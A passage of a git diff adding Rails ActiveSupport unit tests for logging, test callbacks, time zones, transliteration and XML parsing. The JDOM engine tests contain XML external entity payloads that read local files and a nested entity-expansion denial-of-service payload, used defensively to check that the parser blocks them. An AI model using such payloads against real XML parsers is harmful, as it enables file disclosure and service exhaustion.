+ @logger.tagged("Jason") { @logger.info "Funky time" }
+ @logger.info "Junky time!"
+ end
+
+ assert_equal "[BCX] [Jason] Funky time\n[BCX] Junky time!\n", @output.string
+ end
+end
diff --git a/activesupport/test/test_case_test.rb b/activesupport/test/test_case_test.rb
new file mode 100644
index 0000000..dfe9f3c
--- /dev/null
+++ b/activesupport/test/test_case_test.rb
@@ -0,0 +1,118 @@
+require 'abstract_unit'
+
+module ActiveSupport
+ class TestCaseTest < ActiveSupport::TestCase
+ class FakeRunner
+ attr_reader :puked
+
+ def initialize
+ @puked = []
+ end
+
+ def puke(klass, name, e)
+ @puked << [klass, name, e]
+ end
+
+ def options
+ nil
+ end
+
+ def record(*args)
+ end
+ end
+
+ def test_standard_error_raised_within_setup_callback_is_puked
+ tc = Class.new(TestCase) do
+ def self.name; nil; end
+
+ setup :bad_callback
+ def bad_callback; raise 'oh noes' end
+ def test_true; assert true end
+ end
+
+ test_name = 'test_true'
+ fr = FakeRunner.new
+
+ test = tc.new test_name
+ test.run fr
+ klass, name, exception = *fr.puked.first
+
+ assert_equal tc, klass
+ assert_equal test_name, name
+ assert_equal 'oh noes', exception.message
+ end
+
+ def test_standard_error_raised_within_teardown_callback_is_puked
+ tc = Class.new(TestCase) do
+ def self.name; nil; end
+
+ teardown :bad_callback
+ def bad_callback; raise 'oh noes' end
+ def test_true; assert true end
+ end
+
+ test_name = 'test_true'
+ fr = FakeRunner.new
+
+ test = tc.new test_name
+ test.run fr
+ klass, name, exception = *fr.puked.first
+
+ assert_equal tc, klass
+ assert_equal test_name, name
+ assert_equal 'oh noes', exception.message
+ end
+
+ def test_passthrough_exception_raised_within_test_method_is_not_rescued
+ tc = Class.new(TestCase) do
+ def self.name; nil; end
+
+ def test_which_raises_interrupt; raise Interrupt; end
+ end
+
+ test_name = 'test_which_raises_interrupt'
+ fr = FakeRunner.new
+
+ test = tc.new test_name
+ assert_raises(Interrupt) { test.run fr }
+ end
+
+ def test_passthrough_exception_raised_within_setup_callback_is_not_rescued
+ tc = Class.new(TestCase) do
+ def self.name; nil; end
+
+ setup :callback_which_raises_interrupt
+ def callback_which_raises_interrupt; raise Interrupt; end
+ def test_true; assert true end
+ end
+
+ test_name = 'test_true'
+ fr = FakeRunner.new
+
+ test = tc.new test_name
+ assert_raises(Interrupt) { test.run fr }
+ end
+
+ def test_passthrough_exception_raised_within_teardown_callback_is_not_rescued
+ tc = Class.new(TestCase) do
+ def self.name; nil; end
+
+ teardown :callback_which_raises_interrupt
+ def callback_which_raises_interrupt; raise Interrupt; end
+ def test_true; assert true end
+ end
+
+ test_name = 'test_true'
+ fr = FakeRunner.new
+
+ test = tc.new test_name
+ assert_raises(Interrupt) { test.run fr }
+ end
+
+ def test_pending_deprecation
+ assert_deprecated do
+ pending "should use #skip instead"
+ end
+ end
+ end
+end
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
new file mode 100644
index 0000000..3e6ac81
--- /dev/null
+++ b/activesupport/test/test_test.rb
@@ -0,0 +1,206 @@
+require 'abstract_unit'
+
+class AssertDifferenceTest < ActiveSupport::TestCase
+ def setup
+ @object = Class.new do
+ attr_accessor :num
+ def increment
+ self.num += 1
+ end
+
+ def decrement
+ self.num -= 1
+ end
+ end.new
+ @object.num = 0
+ end
+
+ def test_assert_not
+ assert_equal true, assert_not(nil)
+ assert_equal true, assert_not(false)
+
+ e = assert_raises(MiniTest::Assertion) { assert_not true }
+ assert_equal 'Expected true to be nil or false', e.message
+
+ e = assert_raises(MiniTest::Assertion) { assert_not true, 'custom' }
+ assert_equal 'custom', e.message
+ end
+
+ def test_assert_no_difference
+ assert_no_difference '@object.num' do
+ # ...
+ end
+ end
+
+ def test_assert_difference
+ assert_difference '@object.num', +1 do
+ @object.increment
+ end
+ end
+
+ def test_assert_difference_with_implicit_difference
+ assert_difference '@object.num' do
+ @object.increment
+ end
+ end
+
+ def test_arbitrary_expression
+ assert_difference '@object.num + 1', +2 do
+ @object.increment
+ @object.increment
+ end
+ end
+
+ def test_negative_differences
+ assert_difference '@object.num', -1 do
+ @object.decrement
+ end
+ end
+
+ def test_expression_is_evaluated_in_the_appropriate_scope
+ silence_warnings do
+ local_scope = local_scope = 'foo'
+ assert_difference('local_scope; @object.num') { @object.increment }
+ end
+ end
+
+ def test_array_of_expressions
+ assert_difference [ '@object.num', '@object.num + 1' ], +1 do
+ @object.increment
+ end
+ end
+
+ def test_array_of_expressions_identify_failure
+ assert_raises(MiniTest::Assertion) do
+ assert_difference ['@object.num', '1 + 1'] do
+ @object.increment
+ end
+ end
+ end
+
+ def test_array_of_expressions_identify_failure_when_message_provided
+ assert_raises(MiniTest::Assertion) do
+ assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
+ @object.increment
+ end
+ end
+ end
+end
+
+class AssertBlankTest < ActiveSupport::TestCase
+ BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", [], {} ]
+ NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
+
+ def test_assert_blank_true
+ BLANK.each { |value|
+ assert_deprecated { assert_blank value }
+ }
+ end
+
+ def test_assert_blank_false
+ NOT_BLANK.each { |v|
+ assert_deprecated {
+ begin
+ assert_blank v
+ fail 'should not get to here'
+ rescue Exception => e
+ assert_match(/is not blank/, e.message)
+ end
+ }
+ }
+ end
+end
+
+class AssertPresentTest < ActiveSupport::TestCase
+ BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", [], {} ]
+ NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
+
+ def test_assert_present_true
+ NOT_BLANK.each { |v|
+ assert_deprecated { assert_present v }
+ }
+ end
+
+ def test_assert_present_false
+ BLANK.each { |v|
+ assert_deprecated {
+ begin
+ assert_present v
+ fail 'should not get to here'
+ rescue Exception => e
+ assert_match(/is blank/, e.message)
+ end
+ }
+ }
+ end
+end
+
+class AlsoDoingNothingTest < ActiveSupport::TestCase
+end
+
+# Setup and teardown callbacks.
+class SetupAndTeardownTest < ActiveSupport::TestCase
+ setup :reset_callback_record, :foo
+ teardown :foo, :sentinel
+
+ def test_inherited_setup_callbacks
+ assert_equal [:reset_callback_record, :foo], self.class._setup_callbacks.map(&:raw_filter)
+ assert_equal [:foo], @called_back
+ assert_equal [:foo, :sentinel], self.class._teardown_callbacks.map(&:raw_filter)
+ end
+
+ def setup
+ end
+
+ def teardown
+ end
+
+ protected
+
+ def reset_callback_record
+ @called_back = []
+ end
+
+ def foo
+ @called_back << :foo
+ end
+
+ def sentinel
+ assert_equal [:foo], @called_back
+ end
+end
+
+
+class SubclassSetupAndTeardownTest < SetupAndTeardownTest
+ setup :bar
+ teardown :bar
+
+ def test_inherited_setup_callbacks
+ assert_equal [:reset_callback_record, :foo, :bar], self.class._setup_callbacks.map(&:raw_filter)
+ assert_equal [:foo, :bar], @called_back
+ assert_equal [:foo, :sentinel, :bar], self.class._teardown_callbacks.map(&:raw_filter)
+ end
+
+ protected
+ def bar
+ @called_back << :bar
+ end
+
+ def sentinel
+ assert_equal [:foo, :bar, :bar], @called_back
+ end
+end
+
+
+class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
+ def before_setup
+ require 'stringio'
+ @out = StringIO.new
+ self.tagged_logger = ActiveSupport::TaggedLogging.new(Logger.new(@out))
+ super
+ end
+
+ def test_logs_tagged_with_current_test_case
+ assert_match "#{self.class}: #{__name__}\n", @out.string
+ end
+end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
new file mode 100644
index 0000000..aca2951
--- /dev/null
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -0,0 +1,69 @@
+require 'abstract_unit'
+require 'dependencies_test_helpers'
+
+class Foo; end
+class Bar < Foo
+ def index; end
+ def self.index; end
+end
+class Baz < Bar; end
+module FooBar; end
+
+class ConstantLookupTest < ActiveSupport::TestCase
+ include ActiveSupport::Testing::ConstantLookup
+ include DependenciesTestHelpers
+
+ def find_foo(name)
+ self.class.determine_constant_from_test_name(name) do |constant|
+ Class === constant && constant < Foo
+ end
+ end
+
+ def find_module(name)
+ self.class.determine_constant_from_test_name(name) do |constant|
+ Module === constant
+ end
+ end
+
+ def test_find_bar_from_foo
+ assert_equal Bar, find_foo("Bar")
+ assert_equal Bar, find_foo("Bar::index")
+ assert_equal Bar, find_foo("Bar::index::authenticated")
+ assert_equal Bar, find_foo("BarTest")
+ assert_equal Bar, find_foo("BarTest::index")
+ assert_equal Bar, find_foo("BarTest::index::authenticated")
+ end
+
+ def test_find_module
+ assert_equal FooBar, find_module("FooBar")
+ assert_equal FooBar, find_module("FooBar::index")
+ assert_equal FooBar, find_module("FooBar::index::authenticated")
+ assert_equal FooBar, find_module("FooBarTest")
+ assert_equal FooBar, find_module("FooBarTest::index")
+ assert_equal FooBar, find_module("FooBarTest::index::authenticated")
+ end
+
+ def test_returns_nil_when_cant_find_foo
+ assert_nil find_foo("DoesntExist")
+ assert_nil find_foo("DoesntExistTest")
+ assert_nil find_foo("DoesntExist::Nadda")
+ assert_nil find_foo("DoesntExist::Nadda::Nope")
+ assert_nil find_foo("DoesntExist::Nadda::Nope::NotHere")
+ end
+
+ def test_returns_nil_when_cant_find_module
+ assert_nil find_module("DoesntExist")
+ assert_nil find_module("DoesntExistTest")
+ assert_nil find_module("DoesntExist::Nadda")
+ assert_nil find_module("DoesntExist::Nadda::Nope")
+ assert_nil find_module("DoesntExist::Nadda::Nope::NotHere")
+ end
+
+ def test_does_not_swallow_exception_on_no_method_error
+ assert_raises(NoMethodError) {
+ with_autoloading_fixtures {
+ self.class.determine_constant_from_test_name("RaisesNoMethodError")
+ }
+ }
+ end
+end
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
new file mode 100644
index 0000000..84c3154
--- /dev/null
+++ b/activesupport/test/time_zone_test.rb
@@ -0,0 +1,367 @@
+require 'abstract_unit'
+require 'active_support/time'
+
+class TimeZoneTest < ActiveSupport::TestCase
+ def test_utc_to_local
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_equal Time.utc(1999, 12, 31, 19), zone.utc_to_local(Time.utc(2000, 1)) # standard offset -0500
+ assert_equal Time.utc(2000, 6, 30, 20), zone.utc_to_local(Time.utc(2000, 7)) # dst offset -0400
+ end
+
+ def test_local_to_utc
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_equal Time.utc(2000, 1, 1, 5), zone.local_to_utc(Time.utc(2000, 1)) # standard offset -0500
+ assert_equal Time.utc(2000, 7, 1, 4), zone.local_to_utc(Time.utc(2000, 7)) # dst offset -0400
+ end
+
+ def test_period_for_local
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_instance_of TZInfo::TimezonePeriod, zone.period_for_local(Time.utc(2000))
+ end
+
+ ActiveSupport::TimeZone::MAPPING.keys.each do |name|
+ define_method("test_map_#{name.downcase.gsub(/[^a-z]/, '_')}_to_tzinfo") do
+ zone = ActiveSupport::TimeZone[name]
+ assert_respond_to zone.tzinfo, :period_for_local
+ end
+ end
+
+ def test_from_integer_to_map
+ assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[-28800] # PST
+ end
+
+ def test_from_duration_to_map
+ assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[-480.minutes] # PST
+ end
+
+ ActiveSupport::TimeZone.all.each do |zone|
+ name = zone.name.downcase.gsub(/[^a-z]/, '_')
+ define_method("test_from_#{name}_to_map") do
+ assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[zone.name]
+ end
+
+ define_method("test_utc_offset_for_#{name}") do
+ period = zone.tzinfo.current_period
+ assert_equal period.utc_offset, zone.utc_offset
+ end
+ end
+
+ def test_now
+ with_env_tz 'US/Eastern' do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'].dup
+ def zone.time_now; Time.local(2000); end
+ assert_instance_of ActiveSupport::TimeWithZone, zone.now
+ assert_equal Time.utc(2000,1,1,5), zone.now.utc
+ assert_equal Time.utc(2000), zone.now.time
+ assert_equal zone, zone.now.time_zone
+ end
+ end
+
+ def test_now_enforces_spring_dst_rules
+ with_env_tz 'US/Eastern' do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'].dup
+ def zone.time_now
+ Time.local(2006,4,2,2) # 2AM springs forward to 3AM
+ end
+
+ assert_equal Time.utc(2006,4,2,3), zone.now.time
+ assert_equal true, zone.now.dst?
+ end
+ end
+
+ def test_now_enforces_fall_dst_rules
+ with_env_tz 'US/Eastern' do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'].dup
+ def zone.time_now
+ Time.at(1162098000) # equivalent to 1AM DST
+ end
+ assert_equal Time.utc(2006,10,29,1), zone.now.time
+ assert_equal true, zone.now.dst?
+ end
+ end
+
+ def test_unknown_timezones_delegation_to_tzinfo
+ zone = ActiveSupport::TimeZone['America/Montevideo']
+ assert_equal ActiveSupport::TimeZone, zone.class
+ assert_equal zone.object_id, ActiveSupport::TimeZone['America/Montevideo'].object_id
+ assert_equal Time.utc(2010, 1, 31, 22), zone.utc_to_local(Time.utc(2010, 2)) # daylight saving offset -0200
+ assert_equal Time.utc(2010, 3, 31, 21), zone.utc_to_local(Time.utc(2010, 4)) # standard offset -0300
+ end
+
+ def test_today
+ Time.stubs(:now).returns(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
+ Time.stubs(:now).returns(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
+ Time.stubs(:now).returns(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
+ Time.stubs(:now).returns(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
+ end
+
+ def test_local
+ time = ActiveSupport::TimeZone["Hawaii"].local(2007, 2, 5, 15, 30, 45)
+ assert_equal Time.utc(2007, 2, 5, 15, 30, 45), time.time
+ assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
+ end
+
+ def test_local_with_old_date
+ time = ActiveSupport::TimeZone["Hawaii"].local(1850, 2, 5, 15, 30, 45)
+ assert_equal [45,30,15,5,2,1850], time.to_a[0,6]
+ assert_equal ActiveSupport::TimeZone["Hawaii"], time.time_zone
+ end
+
+ def test_local_enforces_spring_dst_rules
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.local(2006,4,2,1,59,59) # 1 second before DST start
+ assert_equal Time.utc(2006,4,2,1,59,59), twz.time
+ assert_equal Time.utc(2006,4,2,6,59,59), twz.utc
+ assert_equal false, twz.dst?
+ assert_equal 'EST', twz.zone
+ twz2 = zone.local(2006,4,2,2) # 2AM does not exist because at 2AM, time springs forward to 3AM
+ assert_equal Time.utc(2006,4,2,3), twz2.time # twz is created for 3AM
+ assert_equal Time.utc(2006,4,2,7), twz2.utc
+ assert_equal true, twz2.dst?
+ assert_equal 'EDT', twz2.zone
+ twz3 = zone.local(2006,4,2,2,30) # 2:30AM does not exist because at 2AM, time springs forward to 3AM
+ assert_equal Time.utc(2006,4,2,3,30), twz3.time # twz is created for 3:30AM
+ assert_equal Time.utc(2006,4,2,7,30), twz3.utc
+ assert_equal true, twz3.dst?
+ assert_equal 'EDT', twz3.zone
+ end
+
+ def test_local_enforces_fall_dst_rules
+ # 1AM during fall DST transition is ambiguous, it could be either DST or non-DST 1AM
+ # Mirroring Time.local behavior, this method selects the DST time
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.local(2006,10,29,1)
+ assert_equal Time.utc(2006,10,29,1), twz.time
+ assert_equal Time.utc(2006,10,29,5), twz.utc
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
+ end
+
+ def test_at
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ secs = 946684800.0
+ twz = zone.at(secs)
+ assert_equal Time.utc(1999,12,31,19), twz.time
+ assert_equal Time.utc(2000), twz.utc
+ assert_equal zone, twz.time_zone
+ assert_equal secs, twz.to_f
+ end
+
+ def test_at_with_old_date
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ secs = DateTime.civil(1850).to_f
+ twz = zone.at(secs)
+ assert_equal [1850, 1, 1, 0], [twz.utc.year, twz.utc.mon, twz.utc.day, twz.utc.hour]
+ assert_equal zone, twz.time_zone
+ assert_equal secs, twz.to_f
+ end
+
+ def test_parse
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.parse('1999-12-31 19:00:00')
+ assert_equal Time.utc(1999,12,31,19), twz.time
+ assert_equal Time.utc(2000), twz.utc
+ assert_equal zone, twz.time_zone
+ end
+
+ def test_parse_string_with_timezone
+ (-11..13).each do |timezone_offset|
+ zone = ActiveSupport::TimeZone[timezone_offset]
+ twz = zone.parse('1999-12-31 19:00:00')
+ assert_equal twz, zone.parse(twz.to_s)
+ end
+ end
+
+ def test_parse_with_old_date
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.parse('1883-12-31 19:00:00')
+ assert_equal [0,0,19,31,12,1883], twz.to_a[0,6]
+ assert_equal zone, twz.time_zone
+ end
+
+ def test_parse_far_future_date_with_time_zone_offset_in_string
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.parse('2050-12-31 19:00:00 -10:00') # i.e., 2050-01-01 05:00:00 UTC
+ assert_equal [0,0,0,1,1,2051], twz.to_a[0,6]
+ assert_equal zone, twz.time_zone
+ end
+
+ def test_parse_returns_nil_when_string_without_date_information_is_passed_in
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_nil zone.parse('foobar')
+ assert_nil zone.parse(' ')
+ end
+
+ def test_parse_with_incomplete_date
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ zone.stubs(:now).returns zone.local(1999,12,31)
+ twz = zone.parse('19:00:00')
+ assert_equal Time.utc(1999,12,31,19), twz.time
+ end
+
+ def test_parse_should_not_black_out_system_timezone_dst_jump
+ with_env_tz('EET') do
+ zone = ActiveSupport::TimeZone['Pacific Time (US & Canada)']
+ twz = zone.parse('2012-03-25 03:29:00')
+ assert_equal [0, 29, 3, 25, 3, 2012], twz.to_a[0,6]
+ end
+ end
+
+ def test_parse_should_black_out_app_timezone_dst_jump
+ with_env_tz('EET') do
+ zone = ActiveSupport::TimeZone['Pacific Time (US & Canada)']
+ twz = zone.parse('2012-03-11 02:29:00')
+ assert_equal [0, 29, 3, 11, 3, 2012], twz.to_a[0,6]
+ end
+ end
+
+ def test_parse_with_missing_time_components
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ zone.stubs(:now).returns zone.local(1999, 12, 31, 12, 59, 59)
+ twz = zone.parse('2012-12-01')
+ assert_equal Time.utc(2012, 12, 1), twz.time
+ end
+
+ def test_parse_with_javascript_date
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.parse("Mon May 28 2012 00:00:00 GMT-0700 (PDT)")
+ assert_equal Time.utc(2012, 5, 28, 7, 0, 0), twz.utc
+ end
+
+ def test_parse_doesnt_use_local_dst
+ with_env_tz 'US/Eastern' do
+ zone = ActiveSupport::TimeZone['UTC']
+ twz = zone.parse('2013-03-10 02:00:00')
+ assert_equal Time.utc(2013, 3, 10, 2, 0, 0), twz.time
+ end
+ end
+
+ def test_parse_handles_dst_jump
+ with_env_tz 'US/Eastern' do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ twz = zone.parse('2013-03-10 02:00:00')
+ assert_equal Time.utc(2013, 3, 10, 3, 0, 0), twz.time
+ end
+ end
+
+ def test_utc_offset_lazy_loaded_from_tzinfo_when_not_passed_in_to_initialize
+ tzinfo = TZInfo::Timezone.get('America/New_York')
+ zone = ActiveSupport::TimeZone.create(tzinfo.name, nil, tzinfo)
+ assert_equal nil, zone.instance_variable_get('@utc_offset')
+ assert_equal(-18_000, zone.utc_offset)
+ end
+
+ def test_seconds_to_utc_offset_with_colon
+ assert_equal "-06:00", ActiveSupport::TimeZone.seconds_to_utc_offset(-21_600)
+ assert_equal "+00:00", ActiveSupport::TimeZone.seconds_to_utc_offset(0)
+ assert_equal "+05:00", ActiveSupport::TimeZone.seconds_to_utc_offset(18_000)
+ end
+
+ def test_seconds_to_utc_offset_without_colon
+ assert_equal "-0600", ActiveSupport::TimeZone.seconds_to_utc_offset(-21_600, false)
+ assert_equal "+0000", ActiveSupport::TimeZone.seconds_to_utc_offset(0, false)
+ assert_equal "+0500", ActiveSupport::TimeZone.seconds_to_utc_offset(18_000, false)
+ end
+
+ def test_seconds_to_utc_offset_with_negative_offset
+ assert_equal "-01:00", ActiveSupport::TimeZone.seconds_to_utc_offset(-3_600)
+ assert_equal "-00:59", ActiveSupport::TimeZone.seconds_to_utc_offset(-3_599)
+ assert_equal "-05:30", ActiveSupport::TimeZone.seconds_to_utc_offset(-19_800)
+ end
+
+ def test_formatted_offset_positive
+ zone = ActiveSupport::TimeZone['New Delhi']
+ assert_equal "+05:30", zone.formatted_offset
+ assert_equal "+0530", zone.formatted_offset(false)
+ end
+
+ def test_formatted_offset_negative
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert_equal "-05:00", zone.formatted_offset
+ assert_equal "-0500", zone.formatted_offset(false)
+ end
+
+ def test_z_format_strings
+ zone = ActiveSupport::TimeZone['Tokyo']
+ twz = zone.now
+ assert_equal '+0900', twz.strftime('%z')
+ assert_equal '+09:00', twz.strftime('%:z')
+ assert_equal '+09:00:00', twz.strftime('%::z')
+ end
+
+ def test_formatted_offset_zero
+ zone = ActiveSupport::TimeZone['London']
+ assert_equal "+00:00", zone.formatted_offset
+ assert_equal "UTC", zone.formatted_offset(true, 'UTC')
+ end
+
+ def test_zone_compare
+ zone1 = ActiveSupport::TimeZone['Central Time (US & Canada)'] # offset -0600
+ zone2 = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] # offset -0500
+ assert zone1 < zone2
+ assert zone2 > zone1
+ assert zone1 == zone1
+ end
+
+ def test_zone_match
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ assert zone =~ /Eastern/
+ assert zone =~ /New_York/
+ assert zone !~ /Nonexistent_Place/
+ end
+
+ def test_to_s
+ assert_equal "(GMT+05:30) New Delhi", ActiveSupport::TimeZone['New Delhi'].to_s
+ end
+
+ def test_all_sorted
+ all = ActiveSupport::TimeZone.all
+ 1.upto( all.length-1 ) do |i|
+ assert all[i-1] < all[i]
+ end
+ end
+
+ def test_index
+ assert_nil ActiveSupport::TimeZone["bogus"]
+ assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone["Central Time (US & Canada)"]
+ assert_instance_of ActiveSupport::TimeZone, ActiveSupport::TimeZone[8]
+ assert_raise(ArgumentError) { ActiveSupport::TimeZone[false] }
+ end
+
+ def test_unknown_zone_should_have_tzinfo_but_exception_on_utc_offset
+ zone = ActiveSupport::TimeZone.create("bogus")
+ assert_instance_of TZInfo::TimezoneProxy, zone.tzinfo
+ assert_raise(TZInfo::InvalidTimezoneIdentifier) { zone.utc_offset }
+ end
+
+ def test_unknown_zone_with_utc_offset
+ zone = ActiveSupport::TimeZone.create("bogus", -21_600)
+ assert_equal(-21_600, zone.utc_offset)
+ end
+
+ def test_unknown_zones_dont_store_mapping_keys
+ ActiveSupport::TimeZone["bogus"]
+ assert !ActiveSupport::TimeZone.zones_map.key?("bogus")
+ end
+
+ def test_new
+ assert_equal ActiveSupport::TimeZone["Central Time (US & Canada)"], ActiveSupport::TimeZone.new("Central Time (US & Canada)")
+ end
+
+ def test_us_zones
+ assert ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Hawaii"])
+ assert !ActiveSupport::TimeZone.us_zones.include?(ActiveSupport::TimeZone["Kuala Lumpur"])
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
diff --git a/activesupport/test/transliterate_test.rb b/activesupport/test/transliterate_test.rb
new file mode 100644
index 0000000..ce91c44
--- /dev/null
+++ b/activesupport/test/transliterate_test.rb
@@ -0,0 +1,35 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'active_support/inflector/transliterate'
+
+class TransliterateTest < ActiveSupport::TestCase
+
+ def test_transliterate_should_not_change_ascii_chars
+ (0..127).each do |byte|
+ char = [byte].pack("U")
+ assert_equal char, ActiveSupport::Inflector.transliterate(char)
+ end
+ end
+
+ def test_transliterate_should_approximate_ascii
+ # create string with range of Unicode"s western characters with
+ # diacritics, excluding the division and multiplication signs which for
+ # some reason or other are floating in the middle of all the letters.
+ string = (0xC0..0x17E).to_a.reject {|c| [0xD7, 0xF7].include?(c)}.pack("U*")
+ string.each_char do |char|
+ assert_match %r{^[a-zA-Z']*$}, ActiveSupport::Inflector.transliterate(char)
+ end
+ end
+
+ def test_transliterate_should_work_with_custom_i18n_rules_and_uncomposed_utf8
+ char = [117, 776].pack("U*") # "ü" as ASCII "u" plus COMBINING DIAERESIS
+ I18n.backend.store_translations(:de, :i18n => {:transliterate => {:rule => {"ü" => "ue"}}})
+ I18n.locale = :de
+ assert_equal "ue", ActiveSupport::Inflector.transliterate(char)
+ end
+
+ def test_transliterate_should_allow_a_custom_replacement_char
+ assert_equal "a*b", ActiveSupport::Inflector.transliterate("a索b", "*")
+ end
+
+end
diff --git a/activesupport/test/ts_isolated.rb b/activesupport/test/ts_isolated.rb
new file mode 100644
index 0000000..294d659
--- /dev/null
+++ b/activesupport/test/ts_isolated.rb
@@ -0,0 +1,16 @@
+require 'active_support/testing/autorun'
+require 'active_support/test_case'
+require 'rbconfig'
+require 'active_support/core_ext/kernel/reporting'
+
+class TestIsolated < ActiveSupport::TestCase
+ ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
+
+ Dir["#{File.dirname(__FILE__)}/**/*_test.rb"].each do |file|
+ define_method("test #{file}") do
+ command = "#{ruby} -Ilib:test #{file}"
+ result = silence_stderr { `#{command}` }
+ assert $?.to_i.zero?, "#{command}\n#{result}"
+ end
+ end
+end
diff --git a/activesupport/test/xml_mini/jdom_engine_test.rb b/activesupport/test/xml_mini/jdom_engine_test.rb
new file mode 100644
index 0000000..904ef7b
--- /dev/null
+++ b/activesupport/test/xml_mini/jdom_engine_test.rb
@@ -0,0 +1,188 @@
+if RUBY_PLATFORM =~ /java/
+ require 'abstract_unit'
+ require 'active_support/xml_mini'
+ require 'active_support/core_ext/hash/conversions'
+
+
+ class JDOMEngineTest < ActiveSupport::TestCase
+ include ActiveSupport
+
+ FILES_DIR = File.dirname(__FILE__) + '/../fixtures/xml'
+
+ def setup
+ @default_backend = XmlMini.backend
+ XmlMini.backend = 'JDOM'
+ end
+
+ def teardown
+ XmlMini.backend = @default_backend
+ end
+
+ def test_file_from_xml
+ hash = Hash.from_xml(<<-eoxml)
+ <blog>
+ <logo type="file" name="logo.png" content_type="image/png">
+ </logo>
+ </blog>
+ eoxml
+ assert hash.has_key?('blog')
+ assert hash['blog'].has_key?('logo')
+
+ file = hash['blog']['logo']
+ assert_equal 'logo.png', file.original_filename
+ assert_equal 'image/png', file.content_type
+ end
+
+ def test_not_allowed_to_expand_entities_to_files
+ attack_xml = <<-EOT
+ <!DOCTYPE member [
+ <!ENTITY a SYSTEM "file://#{FILES_DIR}/jdom_include.txt">
+ ]>
+ <member>x&a;</member>
+ EOT
+ assert_equal 'x', Hash.from_xml(attack_xml)["member"]
+ end
+
+ def test_not_allowed_to_expand_parameter_entities_to_files
+ attack_xml = <<-EOT
+ <!DOCTYPE member [
+ <!ENTITY % b SYSTEM "file://#{FILES_DIR}/jdom_entities.txt">
+ %b;
+ ]>
+ <member>x&a;</member>
+ EOT
+ assert_raise Java::OrgXmlSax::SAXParseException do
+ assert_equal 'x', Hash.from_xml(attack_xml)["member"]
+ end
+ end
+
+
+ def test_not_allowed_to_load_external_doctypes
+ attack_xml = <<-EOT
+ <!DOCTYPE member SYSTEM "file://#{FILES_DIR}/jdom_doctype.dtd">
+ <member>x&a;</member>
+ EOT
+ assert_equal 'x', Hash.from_xml(attack_xml)["member"]
+ end
+
+ def test_exception_thrown_on_expansion_attack
+ assert_raise Java::OrgXmlSax::SAXParseException do
+ attack_xml = <<-EOT
+ <!DOCTYPE member [
+ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
+ <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
+ <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
+ <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
+ <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
+ <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
+ <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
+ ]>
+ <member>
+ &a;
+ </member>
+ EOT
+ Hash.from_xml(attack_xml)
+ end
+ end
+
